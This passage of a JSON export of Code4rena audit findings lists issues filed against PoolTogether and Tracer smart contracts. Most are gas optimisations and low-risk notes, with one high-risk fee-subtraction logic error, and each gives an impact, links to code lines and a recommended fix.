first. This is of slight concern with the deposit functions which have the canAddLiquidity() modifier (before nonreentrant) that makes external calls to get totalSupply of controlled tokens. ## Proof of Concept For reference, see similar finding in Consensys\u2019s audit of Balancer : https://consensys.net/diligence/audits/2020/05/balancer-finance/#switch-modifier-order-in-bpool https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L275-L277 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L299-L301 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Switch modifier order to consistently place the nonreentrant modifier as the first one to run so that all other modifiers are executed only if the call is nonreentrant. "}, {"title": "Caching sushiAddr and sushiBar in local variables to save 200 gas in supplyTokenTo()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "SushiYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Caching sushiAddr and sushiBar in local variables right at the beginning of supplyTokenTo() (similar to what's done in redeemToken) can save 100 gas from repeat SLOADs for each of them for a total savings of 200. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/SushiYieldSource.sol#L48-L51 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Caching sushiAddr and sushiBar in local variables at the beginning of supplyTokenTo() and use those instead. "}, {"title": "maxLosses can be cached in a local variable to save 100 gas in _withdrawFromVault()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "YearnV2YieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact maxLosses state variable is used in two places in _withdrawFromVault(). It can be cached in a local variable at the beginning of the function to save 100 gas from one repeated SLOAD. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L187-L188 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache maxLosses in a local variable at the beginning of the function and use that instead. "}, {"title": "token can be cached in a local variable to save 100 gas in _withdrawFromVault()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact token state variable is used in two places in _withdrawFromVault(). It can be cached in a local variable at the beginning of the function to save 100 gas from one repeated SLOAD. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L185 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L192 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache token in a local variable at the beginning of the function and use that instead. "}, {"title": "token can be cached in a local variable to save 200 gas in _depositInVault()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact token state variable is used in three places in _depositInVault(). It can be cached in a local variable at the beginning of the function to save 200 gas from two repeated SLOADs. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L171-L172 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache token in a local variable at the beginning of the function and use that instead. "}, {"title": "Using function parameter in initialize() instead of state variable saves 100 gas", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "YearnV2YieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Using parameter _vault instead of SLOAD of state variable vault in the call to safeApprove() leads to gas savings of 100. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L87 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L67 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L25 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Using parameter _vault instead of state variable vault in the call to safeApprove() "}, {"title": "Zero-address check unnecessary due to the initializer modifier", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "YearnV2YieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact YearnV2YieldSource initialize does a zero-address check for value address to detect if it has already been initialized. This is an unnecessary check because vault address default value is zero, it is not initialized/set anywhere else and the initializer modifier will prevent the calling of initialize() a second time. So vault is guaranteed to be zero in initialize(). The impact is gas wastage from an additional SLOAD of vault state variable and the require() check. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L25 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/YearnV2YieldSource.sol#L73 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove the zero-address check for vault. "}, {"title": "Caching badger and badgerSett can save 400 gas in supplyTokenTo()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact State variables badger and badgerSett addresses are read two and four times respectively in supplyTokenTo(). Caching them in local variables at the beginning of the function and using those local variables can save 400 gas from avoiding 3 repeated SLOADs for badgerSett and 1 repeated SLOAD for badger. Impact: Gas savings of 400 ## Proof of Concept Two badger reads: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/BadgerYieldSource.sol#L44-L45 Four badgerSett reads: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/BadgerYieldSource.sol#L45 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/BadgerYieldSource.sol#L47 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/BadgerYieldSource.sol#L48 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/BadgerYieldSource.sol#L49 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache badger and badgerSett state variables in local variables at the beginning of the function and use those local variables instead. "}, {"title": "Gas savings of (100*loop-iteration-count) by caching _tokens.end() in _tokenTotalSupply()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The loop iteration in _tokenTotalSupply() ends when currentToken matches _tokens.end() where _tokens is a state variable. Impact: Checking against the state variable for every iteration costs 100 gas per iteration. Even with only two controlled tokens (tickets & sponsorship), this costs 100 more than caching this in a local memory variable and using that within the while predicate. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L1059 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L177 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache _tokens.end() in a local memory variable before the loop and using that within the while predicate. "}, {"title": "Preventing zero-address controlled tokens from being added can avoid checks later", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "PrizePool"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact When _tokenTotalSupply() adds up the supplies of all controlled tokens, it checks and skips zero-address tokens. Instead of checking for zero-address every time for every call to _tokenTotalSupply() from captureAwardBalance() and every deposit via canAddLiquidity modifier, preventing zero-address controlled-token addresses from being added in _addControlledToken() during initialization will avoid these checks. Impact: All deposit calls which cost 0.5M gas currently will be impacted by these unnecessary checks if we instead perform it one time during the addition of tokens in initialization. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L1059 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L228-L230 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Move zero-address check from time of use to time of adding the tokens into the list in initialize(). "}, {"title": "Unnecessary indirection to access block.timestamp value", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-pooltogether-findings", "body": "Unnecessary indirection to access block.timestamp value"}, {"title": "Gas savings of 100 by caching maxTimelockDuration in _calculateTimelockDuration()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact State variable maxTimelockDuration is read twice on consecutive lines 723 and 724 of function _calculateTimelockDuration(). Caching it in a local variable will save 100 gas. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L723-L724 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache maxTimelockDuration in a local variable in the beginning of the function. "}, {"title": "Gas savings of 100 per user by caching _timelockBalances[user] in _sweepTimelockBalances()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Mapping state variable value _timelockBalances[user] is read on consecutive lines 655 and 656 resulting in 2 SLOADS (2100 + 100 gas). Impact: Caching this in a local variable would save ~= 100 gas savings per user iteration (by converting the use of the second 100-gas costing SLOAD to 1 MSTORE and 1 MLOAD both of which only cost 3 gas). If there are 1000 users in a call to sweepTimelockBalances(), this could be significant savings of 100,000 gas. ## Proof of Concept https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L655-L656 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache _timelockBalances[user] in a local variable before using on lines 655 and 656. "}, {"title": "Using access lists can save gas due to EIP-2930 post-Berlin hard fork", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact EIP-2929 in Berlin fork increased the gas costs of SLOADs and CALL* family opcodes increasing them for not-accessed slots/addresses and decreasing them for accessed slots. EIP-2930 optionally supports specifying an access list (in the transaction) of all slots and addresses accessed by the transaction which reduces their gas cost upon access and prevents EIP-2929 gas cost increases from breaking contracts. Impact: Considering these changes may significantly impact gas usage for transactions that call functions touching many state variables or making many external calls. Specifically, removeUserActiveBlocks() removes an active block from the array of blocks for an user, all of which are stored in storage. Transactions for fulfill() and cancel() functions that call removeUserActiveBlocks() can consider using access lists for all the storage state (of user\u2019s active blocks) they touch (read + write) to reduce gas. ## Proof of Concept https://eips.ethereum.org/EIPS/eip-2929 https://eips.ethereum.org/EIPS/eip-2930 https://hackmd.io/@fvictorio/gas-costs-after-berlin https://github.com/gakonst/ethers-rs/issues/265 SLOADs: https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L580 SSTOREs: https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L583 Calls: https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L346 https://github.com/code-423n4/2021-07-connext/blob/8e1a7ea396d508ed2ebeba4d1898a748255a48d2/contracts/TransactionManager.sol#L490 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate the feasibility of using access lists to save gas due to EIPs 2929 & 2930 post-Berlin hard fork. The tooling support is WIP. "}, {"title": "Gas savings of 300 by caching _currentAwardBalance in captureAwardBalance()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Cache _currentAwardBalance state variable in a local variable for computation to save gas. 4 SLOADs + 1 SSTORE can be reduced to 1 SLOAD and 1 STORE. Impact: Saves 300 gas from avoid 3 SLOADs because each SLOAD to already accessed storage slot costs 100. ## Proof of Concept 2 SLOADs: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L456 1 SSTORE + 1 SLOAD: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L465 1 SLOAD: https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L470 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache _currentAwardBalance in a local variable in the beginning, use that for computation/return and one updation to state variable at the end. "}, {"title": "Simplifying extensible but expensive modifier may save gas", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The canAddLiquidity modifier, which is used on all deposits (each deposit costs 0.5M gas), appears to be an expensive modifier because it calculates the sum of all the supplies across controlled tokens (by making external CALLs) and adding that up with reserve and timelock supplies. While this is an extensible implementation that supports arbitrary number of controlled tokens via mapped singly linked list, the prize pools typically have only two controlled tokens: tickets and sponsorship. Impact: deposits currently cost 0.5M gas. ## Proof of Concept https://docs.pooltogether.com/protocol/overview#gas-usage https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L276 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L300 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L1119-L1122 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L1069-L1072 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L1054-L1064 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider gas profiling a fast-path calculation by keeping a separate state variable that tracks the sum of timelock+reserve along with all deposits made towards controlled token supplies and comparing new deposits with that state variable instead of reevaluating totals during each deposit. The extra SLOADs, CALLs and other expensive operations (in linked list and other logic) during reevaluation may add up to more than updating this proposed new state variable across different operations. "}, {"title": "Avoid use of state variables in event emissions to save gas", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Where possible, use equivalent function parameters or local variables in event emits instead of state variables to prevent expensive SLOADs. Post-Berlin, SLOADs on state variables accessed first-time in a transaction increased from 800 gas to 2100, which is a 2.5x increase. ## Proof of Concept The Initialized event in PrizePool uses state variables maxExitFeeMantissa and maxTimelockDuration instead of using the equivalent function parameters _maxExitFeeMantissa and _maxTimelockDuration which were just used to set these state variables. Using them instead will save 2 extra SLOADs, leading to gas savings of 200. https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L239-L243 The StakePrizePoolInitialized event uses state variable stakeToken instead of the function parameter _stakeToken used to set it. Using that instead will save 100 gas. \u2028\u2028https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/StakePrizePool.sol#L36-L38\u2028 The IdleYieldSourceInitialized similarly uses idleToken instead of _idleToken.\u2028\u2028 https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/yield-source/IdleYieldSource.sol#L62-L66 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Use equivalent function parameters or local variables in event emits instead of state variables. "}, {"title": "Upgrading the solc compiler to >=0.8 may save gas", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-06-pooltogether-findings", "body": "Upgrading the solc compiler to >=0.8 may save gas"}, {"title": "Gas Optimization: PrizePool._calculateCreditBalance.creditBalance is incorrectly passed by reference rather than passed by value, causing unnecessary SLOADs instead of MLOADs", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle jvaqa # Vulnerability details ## Impact PrizePool._calculateCreditBalance.creditBalance is incorrectly declared as storage rather than as memory, causing unnecessary SLOADs instead of MLOADs. [1] PrizePool._calculateCreditBalance() is declared as a view function, so we know definitively that PrizePool._calculateCreditBalance.creditBalance is not modified within the function. [2] Since PrizePool._calculateCreditBalance.creditBalance is not modified within the function, then when we fetch it, we want to pass it by value and not by reference by declaring it as 'CreditBalance memory creditBalance' rather than 'CreditBalance storage creditBalance'. This way, each of the subsequent reads of the creditBalance are read from memory (MLOAD) rather than read from storage (SLOAD), where MLOAD is cheaper than SLOAD. ## Recommended Mitigation Steps Change this: CreditBalance storage creditBalance To this: CreditBalance memory creditBalance [1] https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L825 [2] https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L823 "}, {"title": "PrizePool.beforeTokenTransfer() incorrectly uses msg.sender in seven places instead of _msgSender()", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/23", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-pooltogether-findings", "body": "# Handle jvaqa # Vulnerability details ## Impact PrizePool.beforeTokenTransfer() incorrectly uses msg.sender in seven places instead of _msgSender(). [1] Nearly all of PrizePool.sol opts to use _msgSender() to provide for more optionality. It appears that PrizePool.beforeTokenTransfer() may have been copy/pasted into PrizePool.sol without adjusting msg.sender to use _msgSender(). ## Recommended Mitigation Steps Replace the seven instances of msg.sender in PrizePool.beforeTokenTransfer() with _msgSender() [1] https://github.com/code-423n4/2021-06-pooltogether/blob/85f8d044e7e46b7a3c64465dcd5dffa9d70e4a3e/contracts/PrizePool.sol#L418 "}, {"title": "function _getRefferalCode() can be refactored to a constant variable", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ATokenYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function _getRefferalCode() in ATokenYieldSource just returns a constant of uint16(188). To save some gas and improve the readability this can be extracted to a constant variable and used where necessary. ## Recommended Mitigation Steps uint16 internal constant REFFERAL_CODE = uint16(188); "}, {"title": "modifier canAddLiquidity and function _canAddLiquidity", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact modifier canAddLiquidity calls internal function _canAddLiquidity. This function is not called anywhere else so I do not see a reason why all the logic can't be moved to the modifier to save some gas by reducing the extra call. ## Recommended Mitigation Steps Remove function _canAddLiquidity, place its logic directly in the canAddLiquidity modifier. "}, {"title": "_accrueCredit -> _updateCreditBalance", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-pooltogether-findings", "body": "_accrueCredit -> _updateCreditBalance"}, {"title": "setPrizeStrategy check for Interface Supported in PrizePool.sol doesn't guarantee that the new prize strategy is valid", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/15", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-06-pooltogether-findings", "body": "setPrizeStrategy check for Interface Supported in PrizePool.sol doesn't guarantee that the new prize strategy is valid"}, {"title": "staticCall to yieldSource.depositToken doesn't provide any security guarantees", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/14", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-pooltogether-findings", "body": "staticCall to yieldSource.depositToken doesn't provide any security guarantees"}, {"title": "currentTime() outside of loop", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/11", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-06-pooltogether-findings", "body": "currentTime() outside of loop"}, {"title": "What is default duration when creditRateMantissa is not set", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/10", "labels": ["bug", "1 (Low Risk)"], "target": "2021-06-pooltogether-findings", "body": "What is default duration when creditRateMantissa is not set"}, {"title": "Use immutable keyword", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/7", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "Use immutable keyword"}, {"title": "function sponsor not allways present", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/6", "labels": ["bug", "0 (Non-critical)"], "target": "2021-06-pooltogether-findings", "body": "function sponsor not allways present"}, {"title": "no check for _stakeToken!=0", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/4", "labels": ["bug", "1 (Low Risk)"], "target": "2021-06-pooltogether-findings", "body": "no check for _stakeToken!=0"}, {"title": "uint256(-1)", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/3", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact uint256(-1) is used in the function initialize of PrizePool.sol to indicate the max uint256 value. Solidity also allows type(uint256).max), which is easier to read. ## Proof of Concept // https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/PrizePool.sol#L233 function initialize ( ... _setLiquidityCap(uint256(-1)); ## Tools Used ## Recommended Mitigation Steps Replace uint256(-1) with: type(uint256).max) "}, {"title": "cache and reuse _vault.apiVersion() result", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "YearnV2YieldSource"], "target": "2021-06-pooltogether-findings", "body": "cache and reuse _vault.apiVersion() result"}, {"title": "Add reentracy protections on function `executeTrade`", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/143", "labels": ["bug", "2 (Med Risk)", "sponsor dispute"], "target": "2021-06-tracer-findings", "body": "Add reentracy protections on function `executeTrade`"}, {"title": "The `currentHour` variable in `Pricing` could be out of sync", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/142", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle shw # Vulnerability details ## Impact The `recordTrade` function in `Pricing` updates the `currentHour` variable by 1 every hour. However, if there is no trade (i.e., the `recordTrade` is not called) during this hour, the `currentHour` is out of sync with the actual hour. As a result, the `averagePriceForPeriod` function uses the prices before 24 hours and causes errors on the average price. ## Proof of Concept Referenced code: [Pricing.sol#L90-L94](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Pricing.sol#L90-L94) ## Recommended Mitigation Steps Calculate how much time passed (e.g., `(block.timestamp - startLastHour) / 3600`) to update the `currentHour` variable correctly. "}, {"title": "Margin value is not checked to be non-negative in `leveragedNotionalValue`", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/141", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-tracer-findings", "body": "Margin value is not checked to be non-negative in `leveragedNotionalValue`"}, {"title": "The `averagePriceForPeriod` function may revert without proper error message returned", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/140", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle shw # Vulnerability details ## Impact The `averagePriceForPeriod` function of `LibPrices` does not handle the case where `j` equals 0 (i.e., no trades happened in the last 24 hours). The transaction reverts due to dividing by 0 without a proper error message returned. ## Proof of Concept Referenced code: [LibPrices.sol#L73](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/LibPrices.sol#L73) ## Recommended Mitigation Steps Add `require(j > 0, \"...\")` before line 73 to handle this special case. "}, {"title": "`Prices.averagePrice` does not show a difference between no trades and a zero price", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/139", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle shw # Vulnerability details ## Impact The `getHourlyAvgTracerPrice` and `getHourlyAvgOraclePrice` functions in `Pricing` return 0 if there is no trade during the given `hour` because of the design of `averagePrice`, which could mislead users that the hourly average price is 0. The same problem happens when emitting the old hourly average in the `recordTrade` function. ## Proof of Concept Referenced code: [Pricing.sol#L254-L256](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Pricing.sol#L254-L256) [Pricing.sol#L262-L264](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Pricing.sol#L262-L264) [Pricing.sol#L74](https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Pricing.sol#L74) ## Recommended Mitigation Steps Return a special value (e.g., `type(uint256).max`) from `averagePrice` if there is no trade during the specified hour to distinguish from an actual zero price. Handle this particular value whenever the `averagePrice` function is called by others. "}, {"title": "Unlocked pragma used in multiple contracts", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/133", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-tracer-findings", "body": "Unlocked pragma used in multiple contracts"}, {"title": "Gas savings in verifyAndSubmitLiquidation()", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In Liquidation.verifyAndSubmitLiquidation(...) we can save the minimumMargin to memory since it's called two times. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Liquidation.sol#L171 ## Tools Used Manual analysis ## Recommended Mitigation Steps Save the result of Balances.minimumMargin(...) to memory. "}, {"title": "Missing validation on calculateTWAP", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/130", "labels": ["bug", "invalid", "sponsor dispute"], "target": "2021-06-tracer-findings", "body": "Missing validation on calculateTWAP"}, {"title": "Change claimEscrow() to external", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/128", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The claimEscrow(...) function in Liquidation.sol can be set external instead of public since it's not used in the contract. (code clarity and gas savings) ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/Liquidation.sol#L109 ## Tools Used Manual analysis ## Recommended Mitigation Steps Change public to external. "}, {"title": "Logic error in fee subtraction", "html_url": "https://github.com/code-423n4/2021-06-tracer-findings/issues/127", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-06-tracer-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In LibBalances.applyTrade() we need to collect a fee from the trade. The current code however subtracts a fee from the short position and adds it to the long. The correct implementation is to subtract a fee to both (see TracerPerpetualSwaps.sol#L272). This issue causes withdrawals problems, since Tracer thinks it can withdraw the collect fees, leaving the users with an incorrect amount of quote tokens. ## Proof of Concept https://github.com/code-423n4/2021-06-tracer/blob/main/src/contracts/lib/LibBalances.sol#L187 ## Tools Used Manual analysis ## Recommended Mitigation Steps Change +fee to -fee in the highlighted line. "}, 